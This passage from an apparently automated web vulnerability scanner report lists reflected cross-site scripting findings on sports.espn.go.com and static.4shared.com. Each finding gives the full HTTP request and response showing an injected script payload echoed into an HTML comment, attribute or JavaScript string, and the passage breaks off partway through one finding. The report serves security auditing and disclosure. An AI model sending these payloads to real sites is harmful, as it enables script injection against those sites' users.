Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=15
Date: Wed, 23 Feb 2011 23:07:54 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:07:54 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN05
Cache-Expires: Wed, 23 Feb 2011 23:10:09 GMT
Content-Length: 41287
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<!--/golf/columns/story?columnist=sobel_jason79c9f--><script>alert(1)</script>32e5dd3314b&page=CiL-->
...[SNIP]...

1.185. http://sports.espn.go.com/mlb/columns/story [id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /mlb/columns/story

Issue detail

The value of the id request parameter is copied into an HTML comment. The payload a24de--><script>alert(1)</script>8a656193ce9 was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /mlb/columns/story?columnist=crasnick_jerry&id=6095672\a24de--><script>alert(1)</script>8a656193ce9 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=15
Date: Sat, 26 Feb 2011 02:21:47 GMT
Content-Type: text/html
Last-Modified: Sat, 26 Feb 2011 02:21:47 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN16
Cache-Expires: Sat, 26 Feb 2011 02:22:47 GMT
Content-Length: 59814
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<!--/mlb/columns/story?columnist=crasnick_jerry&id=6095672\a24de--><script>alert(1)</script>8a656193ce9-->
...[SNIP]...

1.186. http://sports.espn.go.com/ncaa/columns/story [columnist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /ncaa/columns/story

Issue detail

The value of the columnist request parameter is copied into an HTML comment. The payload f2e24--><script>alert(1)</script>7793b931b30 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /ncaa/columns/story?columnist=forde_patf2e24--><script>alert(1)</script>7793b931b30&id=6150934 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:07:40 GMT
Content-Type: text/html; charset=iso-8859-1
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN11
Cache-Expires: Wed, 23 Feb 2011 23:14:00 GMT
Content-Length: 50181
Cache-Control: no-cache
Pragma: no-cache
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<!--/ncaa/columns/story?columnist=forde_patf2e24--><script>alert(1)</script>7793b931b30&id=6150934-->
...[SNIP]...

1.187. http://sports.espn.go.com/ncaa/columns/story [id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /ncaa/columns/story

Issue detail

The value of the id request parameter is copied into an HTML comment. The payload e22e0--><script>alert(1)</script>51559d0ec4 was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /ncaa/columns/story?columnist=forde_pat&id=6150934e22e0--><script>alert(1)</script>51559d0ec4 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:07:42 GMT
Content-Type: text/html; charset=iso-8859-1
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN02
Cache-Expires: Wed, 23 Feb 2011 23:14:02 GMT
Content-Length: 48840
Cache-Control: no-cache
Pragma: no-cache
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<!--/ncaa/columns/story?columnist=forde_pat&id=6150934e22e0--><script>alert(1)</script>51559d0ec4-->
...[SNIP]...

1.188. http://sports.espn.go.com/new-york/mlb/columns/story [columnist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /new-york/mlb/columns/story

Issue detail

The value of the columnist request parameter is copied into an HTML comment. The payload ab783--><script>alert(1)</script>13cf7f13f38 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /new-york/mlb/columns/story?columnist=marchand_andrewab783--><script>alert(1)</script>13cf7f13f38&id=6148017 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Wed, 23 Feb 2011 23:07:25 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:07:25 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN35
Cache-Expires: Wed, 23 Feb 2011 23:08:25 GMT
Content-Length: 48771
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Spring Training 201
...[SNIP]...
<!--url:/newyork/mlb/columns/story?columnist=marchand_andrewab783--><script>alert(1)</script>13cf7f13f38&id=6148017-->
...[SNIP]...

1.189. http://sports.espn.go.com/new-york/nba/columns/story [columnist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /new-york/nba/columns/story

Issue detail

The value of the columnist request parameter is copied into an HTML comment. The payload a78ab--><script>alert(1)</script>30f7ceccaa0 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /new-york/nba/columns/story?columnist=smith_stephena78ab--><script>alert(1)</script>30f7ceccaa0&id=6151461 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Wed, 23 Feb 2011 23:07:02 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:07:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN03
Cache-Expires: Wed, 23 Feb 2011 23:08:02 GMT
Content-Length: 49403
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>The New Jersey Nets
...[SNIP]...
<!--url:/newyork/nba/columns/story?columnist=smith_stephena78ab--><script>alert(1)</script>30f7ceccaa0&id=6151461-->
...[SNIP]...

1.190. http://sports.espn.go.com/new-york/ncb/columns/story [columnist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /new-york/ncb/columns/story

Issue detail

The value of the columnist request parameter is copied into an HTML comment. The payload 96982--><script>alert(1)</script>2e8bd08d9cb was submitted in the columnist parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /new-york/ncb/columns/story?columnist=darcy_kieran96982--><script>alert(1)</script>2e8bd08d9cb&id=6149055 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Wed, 23 Feb 2011 23:07:07 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:07:07 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN06
Cache-Expires: Wed, 23 Feb 2011 23:08:07 GMT
Content-Length: 45822
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>St. John's is back
...[SNIP]...
<!--url:/newyork/ncb/columns/story?columnist=darcy_kieran96982--><script>alert(1)</script>2e8bd08d9cb&id=6149055-->
...[SNIP]...

1.191. http://sports.espn.go.com/new-york/nfl/columns/story [columnist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /new-york/nfl/columns/story

Issue detail

The value of the columnist request parameter is copied into an HTML comment. The payload 7fb3d--><script>alert(1)</script>49cb1de33c was submitted in the columnist parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /new-york/nfl/columns/story?columnist=cimini_rich7fb3d--><script>alert(1)</script>49cb1de33c&id=6124996 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Wed, 23 Feb 2011 23:07:29 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:07:29 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN15
Cache-Expires: Wed, 23 Feb 2011 23:08:29 GMT
Content-Length: 41612
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>New York Jets decis
...[SNIP]...
<!--url:/newyork/nfl/columns/story?columnist=cimini_rich7fb3d--><script>alert(1)</script>49cb1de33c&id=6124996-->
...[SNIP]...

1.192. http://sports.espn.go.com/new-york/teams/recap [sport parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /new-york/teams/recap

Issue detail

The value of the sport request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0be4"><script>alert(1)</script>bd9314bed95 was submitted in the sport parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /new-york/teams/recap?gameId=310530164&sport=ncbc0be4"><script>alert(1)</script>bd9314bed95 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Wed, 23 Feb 2011 23:07:36 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:07:36 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN09
Cache-Expires: Wed, 23 Feb 2011 23:08:36 GMT
Content-Length: 20995
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Game Recap - ESPN N
...[SNIP]...
<a href="http://sports.espn.go.com/ncbc0be4"><script>alert(1)</script>bd9314bed95/boxscore?gameId=310530164">
...[SNIP]...

1.193. http://static.4shared.com/bundles/css/630963420/css/openid.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/630963420/css/openid.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eba06"-alert(1)-"0dae7da8be1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundleseba06"-alert(1)-"0dae7da8be1/css/630963420/css/openid.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /bundleseba06&quot;-alert(1)-&quot;0dae7da8be1/css/630963420/css/openid.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=2D6048BB9FB76323C5C3BE99CEBF5256.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:33 GMT
Content-Length: 36275


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundleseba06"-alert(1)-"0dae7da8be1/css/630963420/css/openid.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
functio
...[SNIP]...

1.194. http://static.4shared.com/bundles/css/630963420/css/openid.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/630963420/css/openid.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2dac"-alert(1)-"8e22e060db7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/cssc2dac"-alert(1)-"8e22e060db7/630963420/css/openid.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /bundles/cssc2dac&quot;-alert(1)-&quot;8e22e060db7/630963420/css/openid.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=FBF240C76EC127DA98FA6F09514E90FB.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:39 GMT
Content-Length: 36264


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/cssc2dac"-alert(1)-"8e22e060db7/630963420/css/openid.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function fe
...[SNIP]...

1.195. http://static.4shared.com/bundles/css/677814427/css/upload-frame.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/677814427/css/upload-frame.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a0ff"-alert(1)-"7efa6baafe1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles7a0ff"-alert(1)-"7efa6baafe1/css/677814427/css/upload-frame.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /bundles7a0ff&quot;-alert(1)-&quot;7efa6baafe1/css/677814427/css/upload-frame.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C9A0A5D1372DE2F395F2A8F70FB5F31E.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:57 GMT
Content-Length: 36305


